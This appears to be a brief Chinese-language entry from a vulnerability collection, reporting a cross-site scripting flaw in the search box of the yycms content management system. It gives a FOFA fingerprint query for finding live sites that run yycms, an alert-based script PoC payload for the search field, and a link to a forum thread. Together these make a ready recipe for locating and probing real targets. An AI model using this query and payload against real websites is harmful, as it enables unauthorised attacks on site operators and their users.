# yycms首页搜索框 XSS漏洞 **FOFA:** ``` body="templets/yycms/css/" ``` **PoC：** ``` <script>alert(/xss/)</script> ``` ref： https://forum.ywhack.com/thread-114996-1-1.html